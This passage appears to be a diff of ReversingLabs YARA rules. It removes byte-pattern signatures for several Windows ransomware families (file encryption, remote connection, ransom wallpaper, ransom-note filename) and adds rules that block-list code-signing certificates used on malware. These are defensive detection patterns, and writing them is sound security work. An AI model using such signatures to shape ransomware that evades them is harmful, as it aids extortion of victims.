?? ?? ?? ?? 56 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? - ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 04 ?? 88 45 ?? FF 75 ?? E8 ?? ?? ?? - ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 2C ?? 88 45 ?? FF 75 - ?? E8 ?? ?? ?? ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 - } - $encrypt_files_p4 = { - 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? BE ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 56 50 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? - ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D - ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? - C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 - ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? - 59 59 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? - ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? - ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8D - } - $encrypt_files_p5 = { - 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? - ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 50 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D - } - $encrypt_files_p6 = { - E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? 83 - EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? - ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? - ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 95 ?? - ?? ?? ?? 03 CA 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 2B C8 51 50 56 E8 ?? ?? ?? - ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? - 68 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "41:2a:b2:a5:0e:80:28:dd:cb:c4:99:dd:f4:5f:20:45" and 1479340800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0747F6A8C3542F954B113Fd98C7607Cf : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "de5fbb40-7d41-5f3e-97c9-a6882c19ebb5" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14584-L14600" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "9d5e5c98f3ef372532cfc4f544d5d3f620dc2e49d8b6e1c96df29d2a38042019" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "07:47:f6:a8:c3:54:2f:95:4b:11:3f:d9:8c:76:07:cf" and 1474329600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Gpcode : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2572B484Fa0A61Be7288D785D7Bda7D3 : INFO FILE { meta: - description = "Yara rule that detects Gpcode ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "168833dd-44ab-59e1-a610-b9219b2907ff" - date = "2020-06-26" - modified = "2020-07-15" + id = "b1d71baa-9100-512d-91f4-7286a740e5f2" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gpcode.yara#L1-L67" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14602-L14618" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "329309873977f73a8ebe758018ebc8ba42e15c3c7cbb9a65865631d235f5bb48" + logic_hash = "d6b23ba706a640a1e76ad7ab0a70c845c9366ac8355eea5439f76f6993c9c6be" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GPCode" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $drive_loop = { - B9 19 00 00 00 BB 01 00 00 00 D3 E3 23 D8 74 ?? 80 - C1 ?? 88 0D ?? ?? ?? ?? 80 E9 ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 59 58 49 7D - } - $encrypt_routine = { - FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? [0-10] - E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? FF 35 ?? ?? - ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? - ?? ?? ?? 68 ?? ?? ?? ?? [1-10] FF 35 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) - ?? ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ?? - [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? - 75 ?? [10-40] FF 35 ?? ?? ?? ?? FF 75 ?? E8 - } - $set_ransom_wallpaper = { - 0F B6 05 ?? ?? ?? ?? 83 F8 01 0F 85 ?? ?? ?? ?? - B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 [2-20] 5F - 59 25 ?? ?? ?? ?? C1 E8 ?? 83 C0 ?? AA E2 ?? 33 - C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? (E8 | FF 15) - } - $read_config_file = { - 55 8B EC 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? - ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 50 6A ?? - E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? FF - 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 - 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 - 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 - 33 C0 C9 C3 89 45 ?? 8B D8 FF 75 ?? FF 75 ?? FF 75 - ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? - 6A ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C3 ?? 8B - 45 ?? 83 E8 ?? 50 53 E8 ?? ?? ?? ?? 8A 03 A2 ?? ?? - ?? ?? 83 C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $drive_loop and $encrypt_routine and $set_ransom_wallpaper and $read_config_file ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SILVA, OOO" and pe.signatures [ i ] . serial == "25:72:b4:84:fa:0a:61:be:72:88:d7:85:d7:bd:a7:d3" and 1495152000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Archiveus : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_6726Bd04204746C46857887F : INFO FILE { meta: - description = "Yara rule that detects Archiveus ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "89e5af93-1153-5367-a539-6af77c99c214" - date = "2020-06-26" - modified = "2020-07-15" + id = "ef882d82-f535-57c3-9d45-8d47ecc7f607" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Archiveus.yara#L3-L50" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14620-L14636" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b8a42b98ab3e8b97d2e226e979f342a6a72f21d8f068f59c21ad95764077f8a" + logic_hash = "11d25dff7e05e6f97725e919cc6c978d7f2e64a91cf04b72461c71d592dfc2dc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Archiveus" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $entry_point = { - 68 ?? ?? 40 00 E8 ?? ?? ?? FF - } - $dump_instruction = { - 8B 3D ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ?? - 50 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D7 FF 15 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 50 51 FF D3 50 8D 55 ?? 8D - 45 ?? 52 50 FF D3 50 FF 15 - } - $extension_rule = { - 8B 13 6A ?? 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? D9 85 ?? ?? ?? ?? DB 85 ?? ?? ?? - ?? DD 9D ?? ?? ?? ?? DC 8D ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? DC 05 ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 89 45 - ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF - 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ?? - 50 6A ?? 6A ?? 6A ?? FF 15 - } - $instruction_string = "INSTRUCTIONS HOW TO GET YOUR FILES BACK.txt" wide - condition: - uint16( 0 ) == 0x5A4D and ( $entry_point at pe.entry_point ) and $dump_instruction and $extension_rule and $instruction_string + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "67:26:bd:04:20:47:46:c4:68:57:88:7f" and 1474352405 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Marlboro : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4463D8B31E0F87C14233D4D0D2C487A0 : INFO FILE { meta: - description = "Yara rule that detects Marlboro ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7cd3b436-47e3-5711-9b59-cef70efe3b45" - date = "2020-07-23" - modified = "2020-07-23" + id = "eefd6fa2-7ed7-51d0-bddd-90f0727a93cc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Marlboro.yara#L1-L117" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14638-L14654" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d36c3cf52af47e9f638f58aabc19298e8c58831c3083f82e4c194319503eeaaa" + logic_hash = "04ce664fceb4a617294e860d5364d8a4ce8e055fd2baebb8be69f258d9c70ac7" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Marlboro" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $ping_apnic = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57 - C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_server_connection_1 = { - BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B - C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? - 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 - } - $remote_server_connection_2 = { - 84 C0 74 ?? B3 ?? EB ?? 32 DB C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D - ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? - ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? [0-3] 8B 85 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 - 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B - 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 - } - $remote_server_connection_3 = { - 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 - ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F - 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? - EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 FB ?? 72 - } - $remote_server_connection_4 = { - 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D - ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B - C6 EB ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? - ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 - CD E8 ?? ?? ?? ?? 8B E5 5D - } - $encrypt_file = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 51 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? - 8B 35 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 8D 8D ?? ?? ?? - ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BF ?? ?? ?? ?? - 8B 40 ?? 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 0B C7 EB ?? 03 C8 33 C0 39 - 41 ?? 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ?? - ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? - 75 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? EB ?? 03 C8 33 C0 39 41 ?? - 0F 44 C7 6A ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 83 EC - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8D 8D ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8D 64 24 ?? 51 8D 55 ?? - 8B CE E8 